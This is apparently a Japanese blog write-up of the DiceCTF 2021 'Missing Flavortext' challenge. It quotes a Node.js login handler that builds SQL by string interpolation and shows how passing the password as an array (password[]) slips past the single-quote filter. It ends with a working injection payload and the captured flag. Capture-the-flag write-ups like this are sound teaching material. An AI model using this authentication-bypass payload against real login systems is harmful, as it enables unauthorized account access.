はまやんはまやんはまやん

hamayanhamayan's blog

Missing Flavortext [DiceCTF 2021]

SQL Injectionっぽい。

app.post('/login', (req, res) => {
  if (!req.body.username || !req.body.password) {
    return res.redirect('/');
  }

  if ([req.body.username, req.body.password].some(v => v.includes('\''))) {
    return res.redirect('/');
  }

  // see if user is in database
  const query = `SELECT id FROM users WHERE
    username = '${req.body.username}' AND
    password = '${req.body.password}'
  `;

SQLiを試そうとするが\でフィルタリングがかかっている。
これをバイパスして、かつ、SQL文に適切にインジェクションできないか。

配列攻撃

パラメタを配列化することで攻撃しよう。
password[]とすることでreq.body.passwordに配列を与えることができる。
これで、フィルタリング部分では文字列について含まれるかと判定されている所を配列について含まれるかの判定となり、バイパスできる。
あとは配列の要素が1つの場合はToStringしても内容は変わらないので、インジェクションコードを入れると攻撃完了。
username=admin&password[]='%20OR%20''%3d'

dice{sq1i_d03sn7_3v3n_3x1s7_4nym0r3}